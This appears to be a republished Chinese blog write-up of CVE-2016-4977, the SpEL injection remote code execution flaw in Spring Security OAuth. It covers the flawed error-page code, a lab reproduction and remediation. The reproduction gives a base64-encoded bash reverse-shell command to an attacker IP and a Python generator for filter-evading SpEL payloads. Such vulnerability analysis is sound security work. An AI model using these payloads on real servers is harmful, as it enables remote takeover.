当前位置: 首页 > news >正文

CVE-2016-4977 漏洞深度分析


漏洞概述

CVE-2016-4977 是 Spring Security OAuth 模块中的一个高危远程代码执行漏洞,影响版本为 1.0.0–1.0.52.0.0–2.0.9。攻击者通过构造恶意 SpEL(Spring Expression Language)表达式注入到错误处理流程中,触发远程命令执行。该漏洞的利用需攻击者具备合法身份认证(如通过 OAuth 授权流程),但在已授权场景下可直接接管服务器权限。


技术细节分析

1. 漏洞成因
  • Whitelabel 视图的 SpEL 解析缺陷
    Spring Security OAuth 在处理错误页面(如认证失败)时,使用 WhitelabelErrorEndpoint 渲染错误信息。错误信息中的 errorSummary 参数未对用户输入进行过滤,直接通过 SpelView 渲染模板,导致 SpEL 表达式被解析执行。
  • 递归解析漏洞
    PropertyPlaceholderHelper 在处理模板时递归解析 ${} 内的内容,攻击者可通过构造多层嵌套表达式绕过防御机制,例如 ${T(java.lang.Runtime).getRuntime().exec("calc")}
2. 源码分析
关键代码 1:错误处理逻辑(WhitelabelErrorEndpoint.java)
@FrameworkEndpoint
public class WhitelabelErrorEndpoint {private static final String ERROR_TEMPLATE = "<html><body><h1>OAuth Error</h1><p>${errorSummary}</p></body></html>";@RequestMapping("/oauth/error")public ModelAndView handleError(HttpServletRequest request) {Map<String, Object> model = new HashMap<>();Object error = request.getAttribute("error");String errorSummary = (error instanceof OAuth2Exception) ? ((OAuth2Exception) error).getSummary() : "Unknown error";model.put("errorSummary", errorSummary);return new ModelAndView(new SpelView(ERROR_TEMPLATE), model); // 漏洞触发点}
}
  • 问题点
    errorSummary 直接取自用户可控参数(如 redirect_uriresponse_type),未进行转义或过滤。通过 SpelView 渲染时,${errorSummary} 中的恶意表达式被解析执行。
关键代码 2:SpEL 模板渲染(SpelView.java)
public class SpelView implements View {private final String template;private final PropertyPlaceholderHelper helper;private final PlaceholderResolver resolver;public SpelView(String template) {this.template = template;this.helper = new PropertyPlaceholderHelper("${", "}"); // 定义占位符this.resolver = name -> {Expression expr = parser.parseExpression(name);return expr.getValue(context).toString(); // 执行表达式};}@Overridepublic void render(Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) {String result = helper.replacePlaceholders(template, resolver); // 触发解析response.getWriter().write(result);}
}
  • 问题点
    replacePlaceholders 方法递归解析 ${} 内容,例如若 errorSummary 包含 ${233*233},表达式会被计算为 466,若包含恶意命令(如 Runtime.exec()),则直接执行。

漏洞复现步骤

1. 环境搭建
# 使用 Vulhub 环境
docker-compose up -d

在这里插入图片描述

2. 攻击验证
Payload 1(表达式验证)

访问以下 URL,触发表达式计算:

http://target:8080/oauth/authorize?response_type=${233*233}&client_id=acme&redirect_uri=http://test
  • 结果:页面显示 errorSummary54289,证明表达式被执行。
    在这里插入图片描述
Payload 2(反弹 Shell)
  • 生成反弹shell
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

其中YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==bash -i >& /dev/tcp/192.168.1.102/6666 0>&1的base64编码(换成自己攻击机的ip和监听端口)

  • 开启监听
    在这里插入图片描述
  • python脚本生成payload
    由于传统反弹shell被spring后端过滤了,因此采用将反弹shell拆分,并且转化为ASCII码拼接起来,以此来绕过防护。
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)
                             输入之前的反弹shell

在这里插入图片描述

  • 生成 Payload 后,构造 URL:
http://target:8080/oauth/authorize?response_type=<encoded_payload>&client_id=acme&redirect_uri=http://test
将 <encoded_payload>替换为payload

在这里插入图片描述

  • 结果:成功在攻击机监听的端口获取 Shell

    在这里插入图片描述


修复方案

  1. 升级版本
    升级至 Spring Security OAuth 2.0.10+1.0.6+,官方修复了 SpEL 表达式的递归解析问题。

  2. 补丁机制分析
    修复方案引入 RandomValueStringGenerator,将 ${errorSummary} 替换为随机字符串前缀(如 random{errorSummary}),仅当占位符前缀匹配随机字符串时才解析表达式,但存在暴力破解风险(随机字符串固定为 6 位)。

  3. 临时缓解措施

    • 禁用 Whitelabel 错误页面,自定义错误处理逻辑。
    • 对用户输入的 redirect_uriresponse_type 参数进行严格校验和过滤。

总结

CVE-2016-4977 的根源在于 Spring Security OAuth 对用户输入缺乏安全处理,导致 SpEL 注入。其修复方案通过随机化占位符前缀限制表达式解析,但开发者仍需警惕类似递归解析漏洞。实际开发中,应遵循最小化输入信任原则,避免直接渲染未经验证的用户输入。


参考来源

  1. Spring Security OAuth RCE 漏洞分析(CVE-2016-4977)
  2. CVE-2016-4977 补丁机制与利用限制
  3. 漏洞复现与 PoC 构造
http://www.xdnf.cn/news/429679.html

相关文章:

  • TensorFlow之微分求导
  • 力扣-101.对称二叉树
  • JIT+Opcache如何配置才能达到性能最优
  • Spring Boot 自动装配原理详解
  • openGauss与海量100数据库对比
  • vscode点击函数名/变量/文件名无法跳转
  • 项目图标组件处理
  • LabVIEW 程序运行时内存不足报错原因
  • STM32 __rt_entry
  • AD19基础应用技巧:Via 尺寸设置界面 (Size and Shape)
  • AI视频生成工具开发与搭建:从技术到应用的全方位指南
  • linux中fork()函数的小问题
  • solidwors插件库收集
  • 社区商业增值服务生态薄弱?停车反哺+商户联盟激活双向收益
  • 最大子段和(递推)
  • 2.4GHz无线通信芯片选型指南:集成SOC与低功耗方案解析
  • Python+1688 API 开发教程:实现商品实时数据采集的完整接入方案
  • 云蝠智能大模型呼叫接入通义千问qwen3模型!
  • 2025年RIS SCI2区,改进白鲸优化算法+复杂非线性方程组求解,深度解析+性能实测
  • 超标量处理器设计5-指令集体系
  • uniapp+vue3开发项目之引入vuex状态管理工具
  • 修改(替换)文件中的指定内容并保留文件修改前的时间(即修改前后文件的最后修改时间保持不变)
  • 我们该如何使用DeepSeek帮我们减负?
  • 深度Q网络(DQN)的基本概念
  • 【WebApi】YiFeiWebApi接口安装说明
  • JVM Optimization Learning(七)-GC
  • HttpSession 的运行原理
  • 利用自适应双向对比重建网络与精细通道注意机制实现图像去雾化技术的PyTorch代码解析
  • C语言中的assert
  • Trae IDE:AI深度集成的智能开发环境